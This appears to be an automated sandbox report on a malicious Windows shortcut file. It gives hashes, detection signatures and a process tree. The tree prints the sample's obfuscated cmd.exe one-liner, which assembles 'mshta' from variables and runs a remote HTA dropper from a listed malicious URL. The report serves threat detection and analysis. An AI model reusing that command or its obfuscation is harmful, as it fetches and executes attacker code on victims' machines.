Analysis
- max time kernel
148s - max time network
130s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/08/2026, 13:35
Static task
static1
Behavioral task
behavioral1
Sample
DOC-XC4SPK.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-XC4SPK.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-XC4SPK.lnk
- Size 1KB
- Sample260803-qvvpqacl21
- SHA256 8fd5693ece501da4e967c88bd8b16e12c3bbf8ffee5fa1abfd9b19d972c2eb07
- MD5 2e58ae65a93bd89447c95ac1e47ffe45
- SHA1 2fb3dc5bf08e0e5b4b50a132ea8c9b081bd0c61c
- SHA512 3c6e01b1a3640010abf39e7762634336f0954e8e36a8549a5b24d2bbde92a55c4e471a6b1739e11f7671641035ec21527847c5034fe472c82cfc72d1417ba346
- TLSH T1EC3164503BF90A14F3B78E7388BBAB1084BAB9A68E21C61D0041460C1032A04E17BF77
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3304 cmd.exe 1220 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 3304 wrote to memory of 1220 3304 cmd.exe 90 PID 1220 wrote to memory of 4220 1220 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-XC4SPK.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3304 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /V:on /c "set DECI=msh&&set rqE=ta&&start "" !DECI!!rqE! https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1220 -
C:\Windows\System32\mshta.exemshta https://bro-pdffiller.lat/h/estagio1.php?r=360761F157943⤵PID:4220
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